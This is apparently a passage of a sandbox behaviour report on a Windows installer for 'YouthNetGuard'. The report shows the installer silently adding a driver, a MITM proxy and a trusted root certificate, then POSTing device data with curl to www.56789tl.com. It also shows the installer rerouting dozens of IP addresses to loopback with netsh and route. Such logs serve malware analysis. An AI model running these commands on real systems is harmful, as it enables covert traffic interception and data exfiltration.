PID 2168 wrote to memory of 1904	2168	WpnPlatformHost.exe	743
PID 2168 wrote to memory of 1072	2168	WpnPlatformHost.exe	223

C:\Users\Admin\AppData\Local\Temp\ac1acb83b8f3512a93b78855b78e1deeba6ba2189a95db5a29cd0f94bcc6689e.exe
"C:\Users\Admin\AppData\Local\Temp\ac1acb83b8f3512a93b78855b78e1deeba6ba2189a95db5a29cd0f94bcc6689e.exe"
1⤵
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4428
- C:\Users\Admin\AppData\Local\Temp\yngsetup\YngSilentSetup.exe
  C:\Users\Admin\AppData\Local\Temp\yngsetup\YngSilentSetup.exe /dat "C:\Users\Admin\AppData\Local\Temp\yngsetup\OgrePlatform.dat"
  2⤵
  - Drops file in Drivers directory
  - Sets service image path in registry
  - Executes dropped EXE
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1380
- - C:\Program Files\YouthNetGuard\WpnPlatformHost.exe
    "C:\Program Files\YouthNetGuard\WpnPlatformHost.exe" --client-setup --quiet --base "C:\Program Files\YouthNetGuard" --um "C:\Program Files\YouthNetGuard"
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Modifies trusted root certificate store through registry
    - Modifies data under HKEY_USERS
    - Modifies system certificate store
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3092
  - - C:\Program Files\YouthNetGuard\mitm\yng-mitm.exe
      "C:\Program Files\YouthNetGuard\mitm\yng-mitm.exe"
      4⤵
      Executes dropped EXE
      PID:2424
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" --silent --show-error --noproxy "*" --ssl-no-revoke --max-time 15 --connect-timeout 10 -X POST -H "Content-Type: application/json" --data-binary "@C:\Users\Admin\AppData\Local\Temp\yng-admin-3092-240676593.json" "https://www.56789tl.com/api/device/register"
      4⤵
      PID:4476
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" --silent --show-error --noproxy "*" --ssl-no-revoke --max-time 25 --connect-timeout 10 "https://www.56789tl.com/api/policy?device_id=dd7b21e50c884c57abc98f61b7a6b9fe&version=0&force=1"
      4⤵
      PID:2960
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 set interface "Loopback Pseudo-Interface 1" weakhostsend=enabled weakhostreceive=enabled
      4⤵
      PID:540
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 101.36.223.81 255.255.255.255
      4⤵
      PID:4152
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 101.36.223.81
      4⤵
      PID:2204
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 101.36.223.81 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:1200
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.132.234.124 255.255.255.255
      4⤵
      PID:4280
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 103.132.234.124
      4⤵
      PID:2976
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 103.132.234.124 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4832
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.146.79.138 255.255.255.255
      4⤵
      PID:2812
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 103.146.79.138
      4⤵
      PID:1440
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 103.146.79.138 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:1636
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.192.209.206 255.255.255.255
      4⤵
      PID:4588
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 103.192.209.206
      4⤵
      PID:3020
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 103.192.209.206 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:3548
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.192.209.215 255.255.255.255
      4⤵
      PID:2800
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 103.192.209.215
      4⤵
      PID:4832
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 103.192.209.215 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:2556
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.197.25.108 255.255.255.255
      4⤵
      PID:4320
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 103.197.25.108
      4⤵
      PID:1072
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 103.197.25.108 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:3928
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.205.241.247 255.255.255.255
      4⤵
      PID:3264
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1648
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 103.205.241.247
      4⤵
      PID:3388
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 103.205.241.247 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:2576
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.205.253.148 255.255.255.255
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:3548
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 103.205.253.148
      4⤵
      PID:4280
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 103.205.253.148 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4812
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.217.192.15 255.255.255.255
      4⤵
      PID:1576
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 103.217.192.15
      4⤵
      PID:1956
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 103.217.192.15 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:3172
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.217.192.16 255.255.255.255
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:4976
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 103.217.192.16
      4⤵
      PID:3040
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 103.217.192.16 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:1016
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.36.165.58 255.255.255.255
      4⤵
      PID:4312
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 103.36.165.58
      4⤵
      PID:4692
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 103.36.165.58 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4340
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.36.165.68 255.255.255.255
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:3292
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 103.36.165.68
      4⤵
      PID:1448
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 103.36.165.68 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4836
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.10.73 255.255.255.255
      4⤵
      PID:4596
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 104.21.10.73
      4⤵
      PID:4036
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 104.21.10.73 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:2136
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.118.81 255.255.255.255
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:3044
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 104.21.118.81
      4⤵
      PID:3328
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 104.21.118.81 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:2104
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.15.245 255.255.255.255
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:2384
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 104.21.15.245
      4⤵
      PID:3128
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 104.21.15.245 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4488
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.198.227 255.255.255.255
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:1160
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 104.21.198.227
      4⤵
      PID:4468
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 104.21.198.227 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:3760
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.2.176 255.255.255.255
      4⤵
      PID:696
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3920
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 104.21.2.176
      4⤵
      PID:4168
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 104.21.2.176 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4692
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.22.38 255.255.255.255
      4⤵
      PID:4504
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 104.21.22.38
      4⤵
      PID:3128
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 104.21.22.38 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:908
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4480
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.23.246 255.255.255.255
      4⤵
      PID:4596
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 104.21.23.246
      4⤵
      PID:2740
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 104.21.23.246 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4172
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4040
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.28.69 255.255.255.255
      4⤵
      PID:5056
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 104.21.28.69
      4⤵
      PID:3616
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 104.21.28.69 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:2160
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.32.43 255.255.255.255
      4⤵
      PID:2404
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 104.21.32.43
      4⤵
      PID:4692
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 104.21.32.43 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4644
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.34.28 255.255.255.255
      4⤵
      PID:1772
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 104.21.34.28
      4⤵
      PID:652
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 104.21.34.28 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:2480
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3928
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.38.108 255.255.255.255
      4⤵
      PID:1184
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 104.21.38.108
      4⤵
      PID:3120
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 104.21.38.108 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:1076
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.4.133 255.255.255.255
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:944
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3388
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 104.21.4.133
      4⤵
      PID:3756
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 104.21.4.133 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4760
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.42.238 255.255.255.255
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:2628
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 104.21.42.238
      4⤵
      PID:4120
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 104.21.42.238 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:3120
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.43.9 255.255.255.255
      4⤵
      PID:4976
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 104.21.43.9
      4⤵
      PID:540
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 104.21.43.9 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:2204
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.47.14 255.255.255.255
      4⤵
      PID:1620
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 104.21.47.14
      4⤵
      PID:3616
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 104.21.47.14 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:416
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.51.212 255.255.255.255
      4⤵
      PID:3480
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 104.21.51.212
      4⤵
      PID:4816
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 104.21.51.212 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:3620
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5000
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.53.194 255.255.255.255
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:4300
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3184
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 104.21.53.194
      4⤵
      PID:4488
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 104.21.53.194 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4984
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.59.125 255.255.255.255
      4⤵
      PID:4900
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 104.21.59.125
      4⤵
      PID:3316
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 104.21.59.125 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:1924
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.61.200 255.255.255.255
      4⤵
      PID:2976
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4320
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 104.21.61.200
      4⤵
      PID:4400
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 104.21.61.200 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:1932
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.71.80 255.255.255.255
      4⤵
      PID:2488
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3040
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 104.21.71.80
      4⤵
      PID:4900
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 104.21.71.80 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4692
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.78.212 255.255.255.255
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:3612
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 104.21.78.212
      4⤵
      PID:1840
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 104.21.78.212 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:1648
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3760
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.24.244.5 255.255.255.255
      4⤵
      PID:2024
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 104.24.244.5
      4⤵
      PID:2620
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 104.24.244.5 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:2740
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.24.33.36 255.255.255.255
      4⤵
      PID:4468
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 104.24.33.36
      4⤵
      PID:1820
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3316
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 104.24.33.36 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4692
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.25.152.66 255.255.255.255
      4⤵
      PID:3344
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 104.25.152.66
      4⤵
      PID:5056
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 104.25.152.66 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:3964
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.25.153.110 255.255.255.255
      4⤵
      PID:1584
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4424
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 104.25.153.110
      4⤵
      PID:2388
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 104.25.153.110 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:2136
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.25.18.105 255.255.255.255
      4⤵
      PID:2492
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 104.25.18.105
      4⤵
      PID:4900
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 104.25.18.105 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:3708
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.26.13.144 255.255.255.255
      4⤵
      PID:3264
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 104.26.13.144
      4⤵
      PID:2964
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 104.26.13.144 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:3764
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4488
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.27.193.156 255.255.255.255
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:4120
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 104.27.193.156
      4⤵
      PID:1628
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 104.27.193.156 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:3464
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.27.90.111 255.255.255.255
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:3756
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 104.27.90.111
      4⤵
      PID:4944
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 104.27.90.111 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:820
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 106.54.223.230 255.255.255.255
      4⤵
      PID:2016
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 106.54.223.230
      4⤵
      PID:1956
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 106.54.223.230 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4480
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4772
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 106.63.15.10 255.255.255.255
      4⤵
      PID:4036
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 106.63.15.10
      4⤵
      PID:2292
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2116
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 106.63.15.10 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:1096
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2244
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 106.63.15.9 255.255.255.255
      4⤵
      PID:2104
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2136
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 106.63.15.9
      4⤵
      PID:3964
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 106.63.15.9 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:2976
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 107.149.250.26 255.255.255.255
      4⤵
      PID:2868
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 107.149.250.26
      4⤵
      PID:4400
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 107.149.250.26 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:2292
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 110.42.45.175 255.255.255.255
      4⤵
      PID:1524
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 110.42.45.175
      4⤵
      PID:2488
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 110.42.45.175 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:1056
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 112.213.116.42 255.255.255.255
      4⤵
      PID:4240
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 112.213.116.42
      4⤵
      PID:4312
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 112.213.116.42 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:1792
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 114.66.12.18 255.255.255.255
      4⤵
      PID:1616
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 114.66.12.18
      4⤵
      PID:4504
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 114.66.12.18 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:3172
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 114.66.36.220 255.255.255.255
      4⤵
      PID:3308
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 114.66.36.220
      4⤵
      PID:3484
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 114.66.36.220 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4748
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 114.66.36.65 255.255.255.255
      4⤵
      PID:3020
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 114.66.36.65
      4⤵
      PID:2964
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 114.66.36.65 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:3908
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 114.66.62.149 255.255.255.255
      4⤵
      PID:1524
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3780
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 114.66.62.149
      4⤵
      PID:3620
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2844
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 114.66.62.149 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:1388
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 119.188.164.109 255.255.255.255
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:4400
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 119.188.164.109
      4⤵
      PID:2020
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 119.188.164.109 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:3908
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 120.55.192.78 255.255.255.255
      4⤵
      PID:3460
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 120.55.192.78
      4⤵
      PID:2804
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 120.55.192.78 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
